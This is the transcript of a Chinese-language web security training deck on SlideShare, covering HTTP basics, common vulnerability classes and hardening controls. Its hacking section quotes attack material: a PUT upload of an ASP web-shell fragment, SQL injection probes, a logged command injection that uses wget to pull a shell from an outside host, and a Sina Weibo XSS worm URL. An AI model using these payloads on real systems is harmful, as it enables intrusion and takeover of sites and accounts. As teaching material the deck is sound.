• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
WEB 安全基础
 

WEB 安全基础

on

  • 2,018 views

 

Statistics

Views

Total Views
2,018
Views on SlideShare
2,016
Embed Views
2

Actions

Likes
1
Downloads
36
Comments
1

1 Embed 2

http://static.slidesharecdn.com 2

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel

11 of 1 previous next

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
  • 相当有水平的PPT,顶一下。
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    WEB 安全基础 WEB 安全基础 Presentation Transcript

    • Why
      ----- Search, Dig , and Hack !
      梁伟
      Python[AT]Live.it
      CopyLeft
    • 1
      2
      3
      4
      Why WEB?
      HTTP
      Hacking
      Hardening
      Content
    • 1
      2
      3
      4
      Why WEB?
      HTTP
      Hacking
      Hardening
      Content
    • Why WEB ?
      WEB奋起
      瘦客户端
      浏览器能做什么?还有什么浏览器不能做?
      没有浏览器的电脑?
      Internet的新泡沫时代
    • Why WEB ?
      为什么 WEB 是非多
      威胁的可叠加特性
      Internet 爆炸
      二把刀程序员
      个人站点:臭美 > 可用 > 安全
    • Why WEB ?
      令人绝望的 WEB 2.0
      善用?滥用?
    • Why WEB ?
      WEB安全大事记
      1998
      Phrack 54
      NT Web Technology Vulnerabilities
      [SQL Injection]
      2001
      OWASP Started
      Nikto 1.0 released
      2004
      OWASP TOP 10 released
      1999
      XSS was recognised
      whisker 1.0 released
      [ next-generation CGI scanner ]
      2003
      SQL Slammer
      OWASP Testing guide
      WebInspect 3.0
      2005
      Samy Worm
      Acunetix scanner released
    • Why WEB ?
      WEB安全的一点数据
      Source : IBM X-Force® 2010 Trend and Risk Report
    • Why WEB ?
      WEB安全的一点数据
      Source : IBM X-Force® 2010 Trend and Risk Report
    • 1
      2
      3
      4
      Why WEB?
      HTTP
      Hacking
      Hardening
      Content
    • HTTP
      版本与历史
      HTTP/0.9
      HTTP/1.0
      HTTP/1.1
      Year : 1990-1991
      简单但不大方
      Year : 1996
      RFC 1945
      过渡版本
      持续完善
      至今仍被兼容
      Year : 1997
      RFC 2068
      目前最完善版本
      持续改进与发展
      Source: RFC 2616
    • 结构 (HTTP Request)
      GET / HTTP/1.1
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/QVOD, application/QVOD, */*
      Accept-Language: zh-cn
      UA-CPU: x86
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
      Host: www.google.com
      Connection: Keep-Alive
      Cookie: PREF=ID=ab655c79fc00eca5:U=1da01670686c1b4a:FF=0:LD=en:NW=1:CR=2:TM=1258614972:LM=1310117743:GM=1:S=3dm6LuBXWmGJn68p; NID=48=FYQN5JhSwChd_pgXNBw9-u6xMkefYb23gg6b24tApMve2lVAdBzX6xVSgeXFhdQM9DtKnHda7Kh_v6WAG_y0QtOukKDuBXOrH7psDHjV31NnI9-Pu8sNcLOHVjGWGhJc; rememberme=false
    • HTTP
      结构 (HTTP Request)
      HTTP Request数据结构概述
      METHOD /PATH HTTP/VERISION
      HEADER1: Content
      HEADER2: Content
      HEADER3: Content
      HEADER4: Content
      POST DATAs
    • HTTP
      结构 (HTTP Request)
      HTTP Request数据结构概述
      我要干什么
      GET / HTTP/1.1
      Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/QVOD, application/QVOD, */*
      Accept-Language: zh-cn
      UA-CPU: x86
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
      Host: www.google.com
      Connection: Keep-Alive
      Cookie: PREF=ID=ab655c79fc00eca5:U=1da01670686c1b4a:FF=0:LD=en:NW=1:CR=2:TM=1258614972:LM=1310117743:GM=1:S=3dm6LuBXWmGJn68p; NID=48=FYQN5JhSwChd_pgXNBw9-u6xMkefYb23gg6b24tApMve2lVAdBzX6xVSgeXFhdQM9DtKnHda7Kh_v6WAG_y0QtOukKDuBXOrH7psDHjV31NnI9-Pu8sNcLOHVjGWGhJc; rememberme=false
      我能识别什么
      我说什么话
      我用什么工具
      我要找谁
      对了!忘了告诉你我是谁
    • HTTP
      结构 (HTTP Request)
      HTTP Method
      常见的:GET、POST
      偶尔见到的:
      HEAD, RACE, LOCK,OPTIONS,PUT, MOVE, COPY, DELETE, CONNECT
    • 结构 (HTTP Response)
      HTTP/1.1 200 OK
      Date: Fri, 08 Jul 2011 14:35:23 GMT
      Expires: -1
      Cache-Control: private, max-age=0
      Content-Type: text/html; charset=UTF-8
      Content-Encoding: gzip
      Server: gws
      Content-Length: 11746
      X-XSS-Protection: 1; mode=block
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    • HTTP Response in the realworld
    • HTTP
      结构 (HTTP Response)
      HTTP Response数据结构概述
      HTTP/VERSION Status_CodeStatus_Code_desc
      HEADER1: Content
      HEADER2: Content
      HEADER3: Content
      X-HEADER: Content
      RESPONSE DATAs
      RESPONSE DATAs
      ..........
      ......
    • HTTP
      结构 (HTTP Response)
      HTTP Response数据结构概述
      成功返回数据
      HTTP/1.1 200 OK
      Date: Fri, 08 Jul 2011 14:35:23 GMT
      Expires: -1
      Cache-Control: private, max-age=0
      Content-Type: text/html; charset=UTF-8
      Content-Encoding:gzip
      Server: gws
      Content-Length: 11746
      X-XSS-Protection: 1; mode=block
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      立刻过期
      时间(GMT)
      缓存控制。
      Private: 访问服务器而非缓存;
      Max-age=0 : 0秒内使用缓存数据
      内容类型
      服务器类型
      扩展(预留)字段
      此处意为支持浏览器的XSS过滤器
      返回长度
    • HTTP
      结构 (HTTP Response)
      HTTP Response数据结构概述
      HTTP/1.1 200 OK
      Date: Fri, 08 Jul 2011 14:35:23 GMT
      Expires: -1
      Cache-Control: private, max-age=0
      Content-Type: text/html; charset=UTF-8
      Content-Encoding:gzip
      Server: gws
      Content-Length: 11746
      X-XSS-Protection: 1; mode=block
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      Entity Header
      Entity Body
    • HTTP
      结构 (HTTP Response)
      Status Code
      常见:
      200 , OK
      201 , Create
      301 , Moved Permanently
      302 , Found (temporarily)
      400 , Bad Request
      401 , Unauthorized
      404 , Not Found
      500 , Internal Server Error
    • HTTP
      典型
      GET vs POST
      GET 方法
      1、提交内容在URL中
      2、RFC 2616 未限制URL长度
      3、IE限制URL长度为2083个字符
      4、Firefox限制URL长度65536个字符
      POST 方法
      1、提交内容置于请求实体中
      2、以修改服务端内容为设计目的(RFC2616 /9.5)
      3、长度无限制
    • HTTP
      典型
      GET vs POST
      GET/POST的安全问题
      1、360泄露用户信息事件
      2、代码混淆GET与POST请求
    • HTTP
      典型
      HEAD vs GET
      HEAD —— 获取Entity Header
      GET —— 获取全部response
    • HTTP
      典型
      HEAD vs GET
      GET —— 获取全部response
      HEAD —— 获取Entity Header
    • HTTP
      典型
      HEAD vs GET
      HEAD 用途
      1、Scanner —— 版本信息
      2、下载工具 —— 文件长度预载
    • HTTP
      典型
      REFERER 字段用途
      Referer —— 告诉WEB程序 :我从哪里来
    • HTTP
      典型
      REFERER 字段用途
      Referer —— 告诉WEB程序 :我从哪里来
    • HTTP
      典型
      REFERER 字段用途
      Referer的用途
      1、防止盗链
      2、CSRF防护
      3、Google hacking与入侵分析
    • HTTP
      典型
      HOST字段用途
    • HTTP
      典型
      HOST字段用途
    • 1
      2
      3
      4
      Why WEB?
      HTTP
      Hacking
      Hardening
      Content
    • Hacking
      7类常见漏洞示例
      配置错误
      注入漏洞
      跨站脚本
      认证错误
      错误信息
      参数错误
      逻辑错误
    • Hacking
      配置错误 —— indexes
    • Hacking
      配置错误 —— indexes
    • Hacking
      配置错误 —— indexes
      <IfModulemod_dir.c>
      DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm
      </IfModule>
      ………..
      ………..
      <Directory /var/www/>
      Options IndexesFollowSymLinks
      AllowOverride None
      Order allow,deny
      allow from all
      </Directory>
    • Hacking
      配置错误 —— HTTP PUT
      PUT /test.txt HTTP/1.1
      Host: www.site.com
      Content-Length: 1220
      <% dim objFSO %>
      <% dim fdata %>
      <% dim objCountFile %>
      <% on error resume next %>
      <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
      <% if Trim(request("syfdpath"))<>"" then %>
      <% fdata = request("cyfddata") %>
      <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
      ……………………
      ……………………
    • Hacking
      配置错误 —— HTTP PUT
      HTTP OPTIONS方法
    • Hacking
      配置错误 —— HTTP PUT
      Windows 2000 + IIS 5.0 的某些必然性
      本地权限
      IIS权限
    • Hacking
      配置错误 —— HTTP PUT
      Windows 2000 权限特性及继承方式
      根目录:Everyone:F
      异曲同工之妙:
      Windows 2000 下的FrontPage
    • Hacking
      配置错误 —— backup
      永远不要直接在WEB目录中编辑程序
      哪怕你知道你在做什么,但不一定知道你的编辑器在做什么 !
    • Hacking
      注入漏洞 —— SQL注入
      Select * from table_name where id=1
      Select * from table_name where id=1’
      Select * from table_name where id=1and 1=1
      Select * from table_name where id=1 and 1=2
      Select * from table_name where id=1 and (select ……)
      Injection Tools:
      1、SQL Helper
      2、SQLMAP (v0.9)
    • Hacking
      注入漏洞 —— JS下的SQL注入
      用户注册时触发JS脚本对用户名自动检查可用性
    • Hacking
      注入漏洞 —— 命令注入
      Apache Log:
      /s_tar.php?S_sid=79d18ddc9&http://site.com/s_tar.php?S_sid=79d18ddc9&&F_down=1&F_tarname=cc.tar";wget%20-q%20-O%20%20/var/www/html/shell.php%20http://xxx.net/2011php
      Keyword:
      cc.tar
      ;(分号)
      wget
      tar 命令:
      tar cvf somefile.tar dir1 dir2 ….
      Linux多命令方式:
      Command1; Command2; Command3; …..
      Linux多命令错误机制:
      前一条命令错误,下一条继续执行
      调用:tar cfcc.tar;wget …;dir1 dir2 …
    • Hacking
      跨站脚本
      存储型
      反射型
      DOM型
    • Hacking
      跨站脚本
      原理简单,利用却不简单
      WEB 2.0 是XSS的新温床
      XSS/CSRF WORM : Samy worm & Sinaweibo worm
      1、跨站URL:http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
      2、由JS发起CSRF:
      a、发微博
      b、加关注
      c、发私信
      About Samy Worm:
      http://en.wikipedia.org/wiki/Samy_(XSS)
      http://namb.la/popular/
    • Hacking
      认证错误 —— 无认证页面
    • Hacking
      认证错误 —— 无认证页面
    • Hacking
      认证错误 —— 原始信息的校验方式
      1、不校验 —— 直接构造恶意数据修改密码
      2、校验COOKIE —— CSRF
    • Hacking
      错误信息 —— “友好”的返回信息
    • Hacking
      错误信息 ——HTTP Fuzzing对错误信息的利用
    • Hacking
      参数错误 —— 权限的鉴别
      http://site/d477340ffa28755c?OpenDocument
      http://site/d477340ffa28755c?EditDocument
      OpenDocument
      EditDocument
    • Hacking
      参数错误 —— 权限的鉴别
      http://site/download.asp?file=/path/down_file.rar
    • Hacking
      参数错误 —— 权限的鉴别
      http://site/download.asp?file=/path/down_file.rar
    • Hacking
      逻辑错误
      一个密码找回的逻辑错误
      1、
      密码找回页面通过调用不同UID,
      显示不同用户的密码找回页
      但此时不能修改密码
      uid呈现一定规律
      通过 HTTP FUZZING 获得
    • Hacking
      逻辑错误
      一个密码找回的逻辑错误
      2、
      FUZZING 获得用户信箱,
      恶意发起密码找回请求。
    • Hacking
      逻辑错误
      一个密码找回的逻辑错误
      3、
      回到密码找回页面,
      重新设置密码
    • 1
      2
      3
      4
      Why WEB?
      HTTP
      Hacking
      Hardening
      Content
    • Hardening
      权限原则
      监控 + 分析
      14个控制项
    • Hardening
      权限原则
      可写的不可执行
      可执行的不可写
    • Hardening
      监控 + 分析
      定期备份
      完整性校验
      integrit
      AFICK (Another File Integrity Checker)
      日志分析
      LogParser
      Ref : http://www.room702.cn/tools/LogParser.txt
    • Hardening
      14个控制项
      9、禁止使用JavaScript进行任何校验
      10、使用安全、统一的编码或转义方式
      11、设定有安全的权限边界
      12、校验被调用的后台命令
      13、校验被调用的文本或配置文件
      14、确保程序所记录的日志可控
      1、独立、完整且集中的输入验证
      2、校验全部的程序输入
      3、校验全部的输入长度
      4、校验全部的输入类型
      5、不使用任何方式处理失败的数据
      6、对HTTP所有内容进行校验
      7、校验向用户输出的数据
      8、使用安全的SQL查询方式
    • Thanks !!! Q & A ???